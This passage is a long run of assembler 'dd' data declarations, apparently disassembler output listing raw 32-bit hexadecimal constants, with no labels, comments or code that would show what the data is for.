		dd 1AE1E07Dh, 20D82952h, 6F4A0829h, 0A034B505h,	0C300BBB2h
		dd 81547360h, 4502FCBh,	0C4E93625h, 6E31FE94h, 416A5A9Fh
		dd 0D42A96BCh, 17D92013h, 5E767E74h, 19AEE204h,	45C03991h
		dd 131ADFCAh, 4EFDE9FAh, 3DC95EDBh, 0A057B32Bh,	276CF7BDh
		dd 4E227EBBh, 6074D7DAh, 33C477EAh, 767051F6h, 0E2A5DEBDh
		dd 83095D7Bh, 8A5F2DD8h, 87895D5Bh, 639ED146h, 0A9228509h
		dd 7CBB853Ah, 0FDE161BEh, 9AE20787h, 0F64D6C06h, 0FE1AD0CDh
		dd 7731B13h, 0D3FB878Fh, 694183B1h, 0C5F7E0D2h,	0BB9BDD4h
		dd 40C5B1Fh, 41FB0549h,	8B9BF432h, 4FA07898h, 8A4E8DB9h
		dd 54E098D4h, 0B509860h, 9A80E948h, 0E5816CE4h,	5D162A83h
		dd 0F809FFCAh, 19D7505Fh, 51C7Bh, 0F217C3F1h, 53050585h
		dd 0C1315B58h, 0F0B2E2FFh, 0BDC8315Ch, 75EFD438h, 0F018C4BFh
		dd 0B4104013h, 0D45E3170h, 0F53F87C2h, 0D6EB5361h, 64C0941h
		dd 56550042h, 117ADA68h, 89905E17h, 296DCE0Bh, 270A054Fh
		dd 81EC5DD5h, 34F80925h, 0F682D37Fh, 42B5091Eh,	78F630D7h
		dd 3F99D44h, 10E2068Ch,	0C1C3A35Fh, 6D226964h, 153CE709h
		dd 6FCD4702h, 5907C320h, 0B1335E38h, 88CCA65h, 9097AD3Ch
		dd 8085EE89h, 0E6078146h, 37CE515Ch, 0DF427DC2h, 56988366h
		dd 4576C80Fh, 55E94533h, 0F002D1AAh, 72A4103Ah,	0AD7C599Fh
		dd 0C3A44B8Ch, 34B51E16h, 0D36810E0h, 95E348h, 42E30C6Eh
		dd 30E9EB21h, 0D7C7796h, 37002C7Fh, 0CB440558h,	0A2319F94h
		dd 46B880A4h, 0EB6AA05Ch, 0DA2909C1h, 874BBBD3h, 4DCF0559h
		dd 85F91C80h, 0E1454BCCh, 84BE0407h, 5BAECE41h,	0E909259Ah
		dd 0B110AEC1h, 151B70BAh, 754C3137h, 0E9D31206h, 0D064C067h
		dd 0FFE480EDh, 1DDD06D4h, 5AFCB48Dh, 3A8EAD61h,	0BA599E78h
		dd 2A4ABFC0h, 1260F09h,	0ACFA8F9h, 102083C1h, 7FC52CC1h
		dd 0B13B637Eh, 0B6836A4h, 0E6256568h, 71D824E0h, 0DACD9D4Ch
		dd 0F560752Ch, 0FB83EFB0h, 3A41E932h, 2CB2B72Ah, 542D5453h
		dd 0C760AFACh, 0D44FA7E9h, 4E5F678Ch, 8456E956h, 0E3ACE551h
		dd 8A6857CBh, 0E65A68DEh, 5AC9C8F8h, 0D0BB31DDh, 0FEDE122Ah
		dd 0D98A5A3h, 0F467F8E9h, 1A72D765h, 75944A63h,	0E247768Eh
		dd 36D25A58h, 5C482AC0h
		dd 628238ECh, 5DD6EE16h, 4B4F7Eh, 79743C18h, 0BECED55h
		dd 311E01B6h, 8E9FE29h,	0FFA3544Bh, 0BA976CE2h,	5B7DD083h
		dd 3BE5D1B3h, 0E9AC05FCh, 38FAF2B7h, 85B5D4C6h,	0CAAFD1Ah
		dd 309144Bh, 0C53F7AB5h, 0ECF4E908h, 4D350293h,	0FF43C35Eh
		dd 0EE427B04h, 0A05BE8A2h, 0F78ABB91h, 4C6532DBh, 407C46AEh
		dd 7F9D3039h, 0A528F895h, 4B41519Dh, 0F270EC02h, 420AF3FDh
		dd 0C220390Dh, 3E774250h, 932F5289h, 0C1FE38C0h, 0DE18639h
		dd 8D2F6D4h, 0F1801084h, 64A0BFFAh, 0F8288869h,	4022C0Fh
		dd 18865B5h, 7C4ECAABh,	79B7A925h, 6C7227C9h, 8040820Dh
		dd 0A92A0C52h, 55C3256Dh, 0AA9279AFh, 0E95F85C0h, 0E12C70CEh
		dd 0A57C616Fh, 0D55CA738h, 9507F44Fh, 3BD0F7h, 3864DB8h
		dd 0C00505CCh, 0C2116127h, 7812D90h, 8958E7E9h,	0E0505344h
		dd 0FE650526h, 985B687Bh, 6D680707h, 0EC770923h, 17EE89DAh
		dd 0BF19012Eh, 703E15B9h, 6AF54943h, 493F3B3h, 7CC55D8h
		dd 0DDF1D028h, 492C972Ch, 5845B2h, 40BC584Bh, 0F2A135B2h
		dd 0CC565266h, 5E776BBEh, 55E499B0h, 9AEE0AC3h,	3121B609h
		dd 0EA174F58h, 0C60A8471h, 0E60322B9h, 0C1FB478Fh, 0C22206ABh
		dd 0E0EF3359h, 0CE040B6Ch, 0F6324245h, 0B4F16EEh, 3160FFBAh
		dd 14B7ECFBh, 0B9C030A9h, 7A9DC117h, 79CB092Fh,	5A0A10E7h
		dd 0E90130EBh, 34CBEA15h, 0C05AC95Eh, 0EFD6843Bh, 257D8AA6h
		dd 0DBA66043h, 1807C85Ah, 0F7422661h, 3E02C9Dh,	52474C68h
		dd 4FE4396Eh, 0A188B96Dh, 0A36EA268h, 0ABE985EDh, 0EDAF26D4h
		dd 71731016h, 94B1510Eh, 1065F213h, 810367D0h, 0CE3718E3h
		dd 58C5163Fh, 0E9A0A5B0h, 8C544A0Dh, 464FEDCEh,	0D31089F3h
		dd 1D307DE8h, 11050A37h, 50D90964h, 7E06D8F7h, 3F80A40h
		dd 0D7F9810Ch, 966B5A89h, 45D16CDh, 0C58B29Bh, 13EAF85Ch
		dd 4835413h, 90F69FAEh,	7399BB2Ah, 5D9531E8h, 0B45BA307h
		dd 0F716835Fh, 1101C63h, 691F4C7Ch, 139EEEDDh, 4C7BCA36h
		dd 2F9B5C52h, 60F7594Eh, 5167697Eh, 0E213CDFCh,	5A1E4607h
		dd 0BFF4D025h, 21618165h, 2D205DE8h, 0E4688008h, 5339CA97h
		dd 181FACCAh, 70EF4B6Ah, 2F1A4616h, 12591EEAh, 0A86C56FAh
		dd 21045F8Ah, 98FB30DBh, 7B5EEBF2h, 5016B6B6h, 0CB9C0853h
		dd 0FE930501h, 167BC808h, 1DDF0049h, 90D415Dh, 7876AAB0h
		dd 2DBB3AE1h, 7E65FD14h, 2F0B3C17h, 75B22B1Ch, 0C9E180B3h
		dd 8EA97A3Eh, 65B2AF93h, 0B4570B16h, 614BD61Dh,	49A9B08Ch
		dd 0E8893A50h, 1ADB32E2h, 5D98BEE5h, 966F0256h,	15B1E968h
		dd 59CC6948h, 7DC7801Ch, 6C4EFCBh, 7833177Eh, 0A85C17EBh
		dd 0AE50BE53h, 7D5E2F08h, 27DD2C8Bh, 0F0E9E930h, 0A25B9DA8h
		dd 7E5854E2h, 340BC95Eh, 9E40EC5Dh, 606E9C1Ch, 0CB625758h
		dd 0F18C90E6h, 87C10655h, 1ACF21EAh, 54B9DC4Ah,	34FD5BCBh
		dd 0C1E927EAh, 5A667B02h, 37CAF563h, 0A3059DC8h, 4ADE5D00h
		dd 5FCF0735h, 0F0F8BD9Ch, 0F8E5A0B7h, 940C3674h, 0AE5C6914h
		dd 546427C2h, 0C2DD69A7h, 1AAE56E0h, 0B5018958h, 64736113h
		dd 0B30543B5h, 0DE21EEB0h, 8E905D85h, 1E9D6851h, 0D21D586Ch
		dd 0F617450Ah, 4C681D0h, 0DE6E3069h, 0C484F595h, 84698564h
		dd 0DEF4BC7Eh, 6F944D12h, 490F8DD1h, 0BC0587BFh, 0BB8030EAh
		dd 45EE77C1h, 0DC8BFF02h, 0E42E8CC0h, 59BDFE79h, 5EA28BABh
		dd 0BF1C6577h, 0F4061B17h, 25050EACh, 0F3814C72h, 2EB527C0h
		dd 0E8D34FF7h, 0B8A84BE6h, 12DC8040h, 0FC2710D6h, 0C6C5692h
		dd 6D7F5DE9h, 31C001F6h, 0EEC14F2Bh, 383FF907h,	99A04F19h
		dd 54F77A87h, 7C5CF03Bh, 2EF4B581h, 9A0C0053h, 0E91CF538h
		dd 61C0BAE1h, 6B7810C3h, 93295D3Ch, 0CBE0841h, 9E7E683Ch
		dd 7526C3F8h, 0D5EE3F25h, 0E95DFF84h, 0C84584C0h, 72F02107h
		dd 2C07799Ah, 0B7535A40h, 0D7F60BC9h, 0F102B450h, 157F709Eh
		dd 544608F2h, 0E701F5ADh, 848DC580h, 0D5F65206h, 0BCD978C1h
		dd 0C5C4AD2Eh, 0ECB51FF2h, 2AFCC83Fh, 461DC09Eh, 75DCF68Bh
		dd 7C887BC5h, 12D3DE0h,	295AE3DEh, 0E13ED58Ch, 7FB467A1h
		dd 0D4A700E8h, 0AA749493h, 0BD830DC7h, 2D100722h, 0FBB470E6h
		dd 1FD0387Fh, 74A60634h, 0D1DF281h, 4CD00132h, 0A464411h
		dd 0F1226E0h, 5CCE02E6h, 1E117B9h, 60DAD14Bh, 1E702E69h
		dd 595C7697h, 2FD56542h, 5DEAB4D0h, 78613C5Fh, 0E955C282h
		dd 0D97F8256h, 1381C489h, 0FB6C6FFh, 0A8DEFE9Fh, 6CF205AAh
		dd 0B8290146h, 0C0A9098h, 89035868h, 314140FFh,	6590C27Bh
		dd 0FD7B4417h, 0D1D7AC05h, 0BD55C4C0h, 2E5D145Ah, 541C820Ch
		dd 65456DFFh, 0AE442E26h, 0C52CA8BBh, 3E986AA5h, 37BC5B77h
		dd 0BC614439h, 6AFAC529h, 752A88E3h, 1C4C9585h,	32B1589Dh
		dd 581CABD2h, 0EB8AE9DFh, 79A227CCh, 823AB236h,	0FB4E7708h
		dd 4C4CF029h, 988F990Bh, 0C58ED79Fh, 0BEDA6877h, 0C8568533h
		dd 0EA412DBCh, 0E954C48Bh, 0D253D76Dh, 2E5E1289h, 74DECB62h
		dd 5CAC8055h, 335B48F8h, 6BFD8EA8h, 20854D81h, 0FEE6F98Fh
		dd 755D3FC2h, 794B7DD1h, 681F30D6h, 0B7A62642h,	0D6F60F0h
		dd 911EC98Bh, 0C05D419h, 6D151AF4h, 6A579DAAh, 480D7A78h
		dd 38A1AE5Dh, 0F1BF049Ch, 1447F413h, 5605C0B9h,	0E2F528E9h
		dd 0F154F0DBh, 3C039527h, 3C2EB8AFh, 2B92F2ADh,	716FBE41h
		dd 0A13B4F42h, 5B070285h, 359DECC0h, 8D0B3EE7h,	5FAC06E6h
		dd 0C3E0B5Ah, 158F612Dh, 0AB458B0h, 9455574Eh, 0DE09C21Ch
		dd 0D717823Dh, 5BF8E05Ah, 365C031Fh, 4705E7C1h,	0BE5D1405h
		dd 94EAE6E2h, 4EA6EF02h, 60BB4793h, 0BB61042Fh,	6E8B4BD0h
		dd 0AE2E608Ah, 40D97973h, 59CE0903h, 0C9F96855h, 0F33A4EDBh
		dd 4F312444h, 303CC581h, 0F841783Fh, 48306928h,	0A6CC5EE9h
		dd 20BF7938h, 0E0C05992h, 0E181F607h, 0AA3B1F71h, 0EB80E130h
		dd 0FD06CAE7h, 7B5710B8h, 0D0FCCE0Fh, 0EAC6A7E6h, 0FCEBF304h
		dd 394785C1h, 8D3D5B8h,	253B6BFDh, 0F15904B3h, 16730DE4h
		dd 12771861h, 9095E4F6h, 79E12F70h, 1C05C047h, 0BF06E435h
		dd 7053B42h, 0D488BB5Fh, 30AACD5Eh, 0EF2C2B0Ch,	0AF69051h
		dd 14F30737h, 46605AC9h, 59813191h, 4A220E89h, 54FCF3ABh
		dd 5533391Ah, 3AA61D5Bh, 7525141Ch, 71B27E96h, 5DAC5520h
		dd 98742D66h, 230530EDh, 0DF55EB0Ah, 4C1EE926h,	0FEDD8797h
		dd 4A9BBD7Bh, 5B3D2C8Dh, 18108894h, 0DAB80064h,	55C5B4B0h
		dd 0EFC9E789h, 39348E72h, 6CDB04AFh, 9C8CBE47h,	2FF4BC63h
		dd 707A6F5Ch, 673AC4A4h, 0C43AAC1Dh, 5E02BEE5h,	7E62CA29h
		dd 0B9284A76h, 259B8A83h, 0F84F02E9h, 2CC5B372h, 70FB14F7h
		dd 32B9F657h, 0F418532Ch, 9B425F27h, 58BE50A8h,	7E406968h
		dd 845B4BE9h, 708BAF76h, 0A43FF013h, 859FC736h,	83DC565Dh
		dd 8D924AD3h, 386FE501h, 0C7ED5FA4h, 1152FA4Eh,	0E2DBD24Bh
		dd 7A17DC2Bh, 45175975h, 2F9AE8B5h, 1238505Ah, 0A3774568h
		dd 6755101Eh, 0BB05BB5Ah, 0D2493E80h, 0CE317FD9h, 0A4893089h
		dd 7DBBFE40h, 38033D6Bh, 7242B225h, 8B906FFDh, 8D1AF541h
		dd 2ACA7F40h, 0E13F2828h, 72F63740h, 0FBDA50D2h, 5D92A926h
		dd 82906B33h, 5601EDC0h, 0F5E80B44h, 55698991h,	7B67DF80h
		dd 750BB90Ah, 78013F31h, 0F6A9014h, 7A38797Fh, 54ECD4Dh
		dd 0DEB3FF08h, 0ABC22593h, 0EC713284h, 0B4054CB5h, 9740A54Eh
		dd 0E57EFD31h, 30A0EC68h
		dd 20EA28ABh, 215D4578h, 0A3D6130Ch, 298B80ADh,	84C3ECF7h
		dd 4EE93BA3h, 0EA2F0D49h, 7EA778DEh, 0DEA10597h, 4BD205B5h
		dd 277CA79Ch, 0F93DA29h, 306C6233h, 882A03Dh, 38454E41h
		dd 69BC5F6Ch, 8194BDA4h, 4DCF265Eh, 0CB60C3EDh,	97859D95h
		dd 0D673045Fh, 9F6802BFh, 0B2897170h, 99415823h, 0B9FD890Fh
		dd 7CDD80F4h, 9059ABBh,	0CB01E718h, 0D0B96C0h, 0C1641002h
		dd 404702EFh, 64DA627h,	0DAF7791Eh, 0BC1DD84Ah,	1D4D57Ah
		dd 0B6E9099Fh, 883BD537h, 2F6212D9h, 0BE12638Ah, 8DB3E92Dh
		dd 0D0C029F6h, 0EE86582Ch, 6655D4Dh, 93BCC10Bh,	0D4326F75h
		dd 45D7897h, 0BA34CB2Dh, 4516BA15h, 0E94D70FFh,	689210DCh
		dd 45EACD0Bh, 88340F91h, 0BAEB92BDh, 1F8220C4h,	0B7CC0B79h
		dd 4AB8525Ah, 37D8E9B0h, 17EF5BC0h, 2FC44AE0h, 27FDFA21h
		dd 0F2E00705h, 4D3BC7D9h, 9858068Ah, 0EA520212h, 814A30F2h
		dd 654555Eh, 667F0C70h,	0FD263D0Eh, 265A7413h, 1E0A0DBCh
		dd 80D95B7Ah, 0C977F381h, 0E912ADF6h, 38BF4810h, 66BB5FF8h
		dd 15822C64h, 54EF55Dh,	43707471h, 34A8D482h, 9E9C8511h
		dd 57405C8Eh, 9D5922EDh, 68C12379h, 0E90108E0h,	41663585h
		dd 5234C691h, 0D480D3BAh, 56F77639h, 4E3CD09Fh,	9DB5164Fh
		dd 371200Dh, 6C7F4A6Dh,	0BD5B5134h, 0E91C77E6h,	0DF254908h
		dd 40A421C7h, 6FF15CE4h, 0BD02A41Fh, 3F4A4BD5h,	0D9886974h
		dd 0C842662h, 0A3F1411Dh, 0F6E33A5Eh, 0EF62C913h, 996BFF79h
		dd 0BA8A2E16h, 4427CA15h, 71AA1550h, 81430356h,	951FFEE1h
		dd 425CE1DDh, 207C858Bh, 0E6FE5C12h, 0FBD093C0h, 9E4ED768h
		dd 357462C0h, 28C798FFh, 0A351D73Bh, 57598B2Dh,	82B5BF6Eh
		dd 0B205D866h, 18A420BEh, 5B34DA26h, 0EDFCE44Dh, 93333107h
		dd 44F5684Eh, 8CBC60EBh, 124CB413h, 16B804B3h, 0F0FA7BDFh
		dd 741286D3h, 0C61C79F3h, 7E784CC0h, 9F6F35E9h,	0D09F0253h
		dd 27439408h, 2F9FEC7Dh, 2F5FFA8Eh, 0E8530453h,	0EFA728EFh
		dd 0F1E4BF41h, 0FCC34A88h, 0F5912F74h, 71FD601Ah, 20E20C09h
		dd 0DA4A363Dh, 0E5FEAC8h, 87DEF75Eh, 9604CD74h,	0EA7EB266h
		dd 74CFFF90h, 1B7B3372h, 28C1D81Eh, 0B5864040h,	7D4E4215h
		dd 5E2DEEF2h, 0AF565287h, 0F955B009h, 16BACAD9h, 0EF31BA2Ch
		dd 0EC6E2A88h, 7EDAB3FEh, 6B9EB51Ah, 0A009F891h, 0DDD4CAC4h
		dd 0C05D354Ah, 9599BCCAh, 68C1B875h, 6560644Eh,	2A12AFDDh
		dd 0E97D3CEEh, 6C5BAA2Fh, 3FF14C5Ah, 0EB665927h, 0BD28C322h
		dd 5172D15Ch, 0A7E98ACBh, 1A55AFF6h, 6727D2Bh, 0B7FD5C68h
		dd 0CA4FC705h, 65F28F00h, 104A5172h, 292AFE9h, 96098FBAh
		dd 3CD07511h, 592D6A2Ah, 0B05A5129h, 420B6B24h,	0C569FD2Bh
		dd 7CC7F9Eh, 0EBC12E5Ch, 3F8A538Dh, 95216465h, 79007C3h
		dd 50F9885Ah, 62CA4752h, 0E55C5AD4h, 2F42C726h,	82756535h
		dd 92567C6h, 3C0B6CD8h,	0FD7D0834h, 0D7ED389h, 0EEEC0BA0h
		dd 0DD2717A3h, 5422545Ah, 0FFBEB2BDh, 7FE308F8h, 172960E0h
		dd 0AB6C8045h, 5AEDD340h, 0B5014F20h, 6F40DE78h, 31772568h
		dd 662578DBh, 86816A1h,	2B30EB0Bh, 9DA4442h, 0C3E95F19h
		dd 25488DE0h, 65E1009h,	0DE160129h, 60FA0957h, 287D28ABh
		dd 4AD507CFh, 0E0FBFC52h, 0B9097168h, 3B76A5C4h, 0E197821Fh
		dd 16BBA041h, 823B02D9h, 0EA8FE2DCh, 286D1E61h,	740C800Eh
		dd 0E929ABBEh, 69436557h, 6AD4FFEBh, 0CBF7F8EBh, 9C769Fh
		dd 350E4205h, 0D8280145h, 5495072Dh, 9D466271h,	3C5C500Ch
		dd 0BBCF2FA0h, 0B501FF2Ch, 87240953h, 9F02BC2h,	0A7A859BEh
		dd 0E6BF77E7h, 506B2010h, 4085F8E7h, 0C0591CC5h, 0C2808403h
		dd 2996E10Ch, 4998D583h, 62A81B55h, 687D3E32h, 8CCE851h
		dd 19B85D08h, 38847D4Bh, 0C65056F3h, 0BD688038h, 9035284Ah
		dd 0FDCFC2A2h, 345B0070h, 30F5B599h, 58D5C1C5h,	7F795368h
		dd 2C59BD71h, 73FB7DC2h, 0D69FE5A0h, 17E906DCh,	664E5A48h
		dd 0C30896E0h, 3227EB0Ah, 1A421507h, 0BBC15356h, 353D2931h
		dd 0C5AEE916h, 4F3DEA8Fh, 9C26CB3Ah, 5C1A2810h,	664012D2h
		dd 0D9B727F6h, 4CEE8B32h, 80C5B17Fh, 8D8D8C2Eh,	554B1DBAh
		dd 1CFC2CAEh, 47488195h, 0EDE0DFF7h, 25D7959Fh,	78780C7h
		dd 0B1CCEC33h, 0EC2A43EBh, 0C7AA755Ah, 0EC5A4B7Fh, 0D82B14B1h
		dd 754154AFh, 2989B478h, 9553C4FDh, 1B09EBD9h, 0B08C9470h
		dd 0E9549723h, 0E9846DA9h, 2CB92312h, 0DF8555CFh, 6B78A4F3h
		dd 64D10200h, 5D5FF829h, 106B9A51h, 160FCE68h, 0F9C41EE9h
		dd 14D045A0h, 0EE49B875h, 9D529C05h, 5E90937h, 0A5E2628Fh
		dd 8E5F8A92h, 80C269BCh, 0D1181AAEh, 0E7810058h, 78954F76h
		dd 0A8A3D7F7h, 0C109889Eh, 0D7DB54A9h, 0E02F4B70h, 0E107D5Eh
		dd 5389ABFh, 914EFE1Bh,	9EAF1717h, 0E4F64EDCh, 0A4E8EA2Fh
		dd 8D1EACF3h, 0B7CB3947h, 0A8B6594Eh, 37250B01h, 0B5DA4C02h
		dd 0DD112A6Bh, 0AF0282CAh, 465D27B7h, 40245E9Dh, 736A758Ch
		dd 689D5E76h, 729CF66Ch, 0E91D09DAh, 0AC1A171Fh, 69B2C802h
		dd 0B9D32103h, 8D6A45A3h, 2EFA61B5h, 59F620EFh,	1A5F7268h
		dd 446B3C32h, 0ABEF07A5h, 0B27FCB2Bh, 0DE55DD32h, 64F240A8h
		dd 7269B958h, 6D40F728h, 565BEEE9h, 3A0015F2h, 0A3BB0465h
		dd 6E4F9E7Ch, 0C383CAC0h, 434B28FFh, 5CEC0EA0h,	0C3DE30C7h
		dd 18D7312h, 91FA180Bh,	0AE987F8Bh, 0A8623BE9h,	59CA305Eh
		dd 2C5C4994h, 0D8B3E942h, 0B0B80500h, 0EF2D3319h, 6230140Bh
		dd 0A07B6C52h, 20344845h, 0C570599Dh, 9238BF30h, 614411C1h
		dd 27BD1855h, 0C00C3CDh, 73FD5E23h, 0C2E158E9h,	0B9F68052h
		dd 2B8E841h, 0FF56575Ah, 24E828E2h, 4CC8EBC1h, 6A59F2h
		dd 114D9A86h, 2AEBD15Fh, 0EA017CBDh, 443C2C93h,	420CA01h
		dd 3809954Ah, 728759D5h, 0FAB1DE5Dh, 5E4858FDh,	0A831FE80h
		dd 0D59E2566h, 0AA7844C7h, 2E0A8037h, 5A124461h, 65A03AE9h
		dd 2ADC0FBDh, 844B586Fh, 0AB545042h, 142F5951h,	72316F65h
		dd 3E5D5824h, 81D700E2h, 397C09DDh, 0D2E9E00Eh,	0ED4CBD46h
		dd 8725512Ah, 7EDFEE06h, 172F1D23h, 0A315685Bh,	192F78C2h
		dd 0CE7651Ah, 724C5558h, 0E1E0FC92h, 973D3DB9h,	0DBE4D648h
		dd 76F295C1h, 0BC40C298h, 63F8BF66h, 2CB40212h,	1DEE0308h
		dd 0BB8C9740h, 1B28AF89h, 0DDDEFA4Ah, 0F8CFA23Fh, 5D25DD44h
		dd 0C2164245h, 22D92DEFh, 0BEE41710h, 46DD7E20h, 98634CD6h
		dd 0EE4D1F01h, 2EFB0147h, 0D695BD34h, 120021Fh,	0D8E1815Eh
		dd 0DB4E9C2Fh, 8C1908E8h, 1B410D3Bh, 0E127E425h, 88A40C75h
		dd 517A8402h, 19A7812Dh, 54BF0286h, 83D4ADFBh, 93DDBF39h
		dd 8EABF1F5h, 0DBB57641h, 677492Dh, 785B748Fh, 343F24FBh
		dd 5F9D0253h, 5F40096Dh, 382C16AEh, 1030CC2Bh, 60087A06h
		dd 9EFB0C63h, 9953DE8h,	0BB6F0089h, 17310613h, 0FA5AD721h
		dd 6EE9A430h, 49C7B66Bh, 0C331BB83h, 0AEA4FEE3h, 0A8ECCADDh
		dd 0A8CB99D7h, 94555ADEh, 1E44AEEAh, 810023B3h,	1E9419F5h
		dd 0E8892014h, 12EBB485h, 0B737BB64h, 3EFCDFE4h, 3E3D5CA1h
		dd 0B10494E3h, 81E037BAh, 20226689h, 0FE4C29C5h, 5F08400Eh
		dd 0C3BD2097h, 2D374E52h, 3F082905h, 0A3562408h, 5E9E2C8h
		dd 0F281BEF6h, 173F0F38h, 0E12DFA2Ah, 0EFCD132Bh, 37E9BB42h
		dd 0A41779A6h, 128400B3h, 0CE8113D0h, 6877A101h, 5E6C171h
		dd 1D070692h, 3BC3C246h
		dd 0A2C03DC2h, 422D0BC7h, 416C7605h, 812682E9h,	0C5D1BBB0h
		dd 7CE9EE41h, 0EB4BB868h, 0F86A6199h, 6A084161h, 116971F9h
		dd 0F1BD29FDh, 72C02D77h, 7A1EF435h, 9C8910C6h,	262D463Dh
		dd 0C2533B34h, 0EE74D788h, 0CCFADA53h, 0A040BD5Fh, 5A4D58C5h
		dd 0F5025A93h, 0C1BFB68h, 15B16C7Eh, 5C42CB02h,	1E76757Fh
		dd 585F0820h, 49501E5Dh, 88535012h, 424A88ECh, 0BCA47C31h
		dd 0B93CFA2Bh, 6E22555Bh, 0BAA5912Ah, 7065577Ah, 63A95A1Eh
		dd 0CFDABE04h, 0B5EECA90h, 2BFB2A7Bh, 712D92h, 4A68520Fh
		dd 0E4F1C525h, 0ADA9984Fh, 168C955Ah, 0E8684F2Eh, 5EF5F750h
		dd 0EF4BDCA8h, 0D3D2AA67h, 4951DEDAh, 0EB1AD3D5h, 0DBE5ACC8h
		dd 9EB281D2h, 0E9EB29C0h, 92952EF7h, 27D1F703h,	70A96858h
		dd 8671BF13h, 700B5BC8h, 4F06DCB6h, 0D0631E05h,	0C0FCCC59h
		dd 3C5282A2h, 20CBF407h, 63CE58E5h, 0F3CDFE08h,	0E830B9C5h
		dd 7B4C4A7Dh, 560DCC16h, 7384BEEBh, 3ABDCFEBh, 739F31E9h
		dd 9570EBC6h, 7B41F699h, 975D9DA2h, 14963C5Eh, 82DAF26h
		dd 9DE2B1F4h, 0AEDF763Ah, 63C487Dh, 31711A68h, 4A652F20h
		dd 3FDFF505h, 0BBA53CF8h, 0E1EDFAF1h, 3E01BE05h, 76B5633Bh
		dd 2561802Bh, 0A1012354h, 7CDE3537h, 0CAB95BD1h, 67EC268Bh
		dd 8839ED2h, 929C9AAFh,	0F43F3C58h, 56B70570h, 0CDF2E9DAh
		dd 0B9F90254h, 986F52B5h, 14640947h, 0A8817617h, 0F6B70BA1h
		dd 75D162F7h, 0E94180D3h, 0B8C5B36h, 562C2082h,	314F69B8h
		dd 607309A4h, 685719AFh, 0F82D6655h, 854A8060h,	1C0DF5BDh
		dd 2724AEE9h, 5BFD3C57h, 0BECDC0ADh, 0EB1E41A4h, 257E310Fh
		dd 7F42C2E1h, 24AA9EE7h, 27935553h, 2D5A8026h, 179DA2B0h
		dd 8C22996h, 0B82E7445h, 0DE8F612h, 0CFB9B35Eh,	0A7BF938Fh
		dd 1FFD13BCh, 593F08BDh, 0A180FC4Eh, 0B193F04Bh, 0D947A5C5h
		dd 53423AEDh, 772C875Eh, 0CE5989D6h, 0BDB05F8Fh, 53EF014Fh
		dd 70776CE9h, 10F6749Dh, 1D2B81E9h, 84D9C888h, 0F66F52D7h
		dd 0C0079AFFh, 8010C1AEh, 383F49B9h, 292D86Fh, 2542660h
		dd 0D1807746h, 0DB641FF3h, 8391EAB5h, 62E95D67h, 2DE8605Fh
		dd 0B757C4DFh, 0DE9562DAh, 21507180h, 4F203CC4h, 0BE6A53CCh
		dd 69B800E6h, 406BAE29h, 0D4D0F72Fh, 5B5A04BAh,	918DEB2Dh
		dd 6426AA00h, 7C5A23h, 76EE055Dh, 2BFE62Ch, 0DDE957C9h
		dd 1ABEAEA0h, 204A3E0Dh, 5A376244h, 0F1D31EEh, 0FD10AFF8h
		dd 66680EA1h, 0C4486C2Dh, 2DD950A2h, 3B88822Ah,	5915261h
		dd 0BB878B85h, 0B0C5486h, 7A196FAAh, 20A7B788h,	140CD008h
		dd 0E067F85Bh, 0E56245EEh, 75F98821h, 5AD02800h, 0CDCAFEB5h
		dd 0A2AB019Ch, 4EA66397h, 85BD28BBh, 10900995h,	80C579F1h
		dd 0F9B59EB4h, 0EFF5972Eh, 124B76CCh, 635A730h,	8D9A4CF4h
		dd 0B252E701h, 0A3F28072h, 0E0F3C2CCh, 0CAE912D7h, 89DEB86Ch
		dd 41D4D156h, 7E7BABE9h, 0E0779ACCh, 0AC6A5B64h, 9CD6D8BEh
		dd 677A9E74h, 0BB10ACA7h, 46418409h, 4D26F579h,	68073459h
		dd 646119FAh, 637E658Fh, 3087DDABh, 0F7972DB6h,	0A2974294h
		dd 449703Bh, 1FB2FA01h,	0FC5F25C4h, 0D065C4A2h,	9768B9BAh
		dd 0AF0894BBh, 0D2FEF6D4h, 6A405AF3h, 0CE676E14h, 381E5F0h
		dd 6C256895h, 48241EE0h, 0ED000977h, 0A4FCF82Dh, 336E11E9h
		dd 0F55DC9C3h, 765596C2h, 63E4EFE5h, 5930EEE5h,	0C5542B68h
		dd 0CDCE1EBDh, 3FD3CD7Ah, 0A740F717h, 685F5457h, 3358628Ch
		dd 71FDB666h, 0FB68C171h, 7E55C237h, 33F45ADDh,	0F7867FC2h
		dd 0F92CD2FBh, 1A05D342h, 1C4EA060h, 0B07AFC2Fh, 0BA9C3DD3h
		dd 23F13C11h, 0F34A6E17h, 0E294C4BCh, 4AF68100h, 6850E03Ch
		dd 4EFE13C4h, 0F3016B12h, 5A7B6819h, 198C423Eh,	0B5DE3D10h
		dd 1A975D44h, 850B9593h, 2DE6DAEFh, 0B1BC7757h,	6AD30CA1h
		dd 5A43C914h, 0DAB619FBh, 924E7234h, 0F2B567C2h, 5AD13425h
		dd 2E21B520h, 1E2CCD05h, 1F4300B9h, 9FA4DF3Fh, 0AA5B9666h
		dd 36FD959Dh, 62D9FDFAh, 2F7A21C9h, 0BDB760Ch, 0F5A1E9F5h
		dd 308B63D4h, 26B67F3Ah, 3D8D96BCh, 525267FDh, 9CE61D7h
		dd 46C1DE54h, 880412F7h, 683952BFh, 82CC4F3Fh, 324F12C6h
		dd 5C25FA36h, 94061ABBh, 5E0C61D7h, 0D8AF736Ah,	0DA507BC6h
		dd 5841F1E1h, 0E22F66F9h, 1C181079h, 83CB14Ch, 390BD225h
		dd 0DAC0ED10h, 0E4EBD80h, 456D352Fh, 2E5C120h, 0C990C583h
		dd 24C43B30h, 955FF368h, 67875B1Ah, 69C03090h, 0AF4FC4E9h
		dd 0FD58DA22h, 0F48D1704h, 120BF5A9h, 92D5A2Ah,	51D204A4h
		dd 807835FAh, 0E8199F95h, 0D2755Ch, 0F239675Ch,	49E9FE31h
		dd 9D4BC77Dh, 590DF444h, 0AA7459Fh, 0B847BE9Ah,	6118C32Fh
		dd 0C29869B1h, 71634A27h, 8032670h, 511F98A0h, 5BD4A6CDh
		dd 5791B02Eh, 87CB5D50h, 4E2ECA14h, 0F8EC5FCAh,	8F143E04h
		dd 93F92D8h, 86817E5Fh,	9CE92F7Fh, 514D9509h, 7FCB7F4Eh
		dd 40DF1140h, 64BF3C4Bh, 8DE9BEB8h, 0EA691392h,	0B052C2Ch
		dd 67542ED0h, 182D1805h, 1AE92D07h, 2D387796h, 0A78054F8h
		dd 0E93F38DFh, 0F3404F38h, 5E6487Fh, 35336A29h,	0A5FE17ABh
		dd 0E00B04C7h, 2725B884h, 0ED977A79h, 0BD02B978h, 73C102D3h
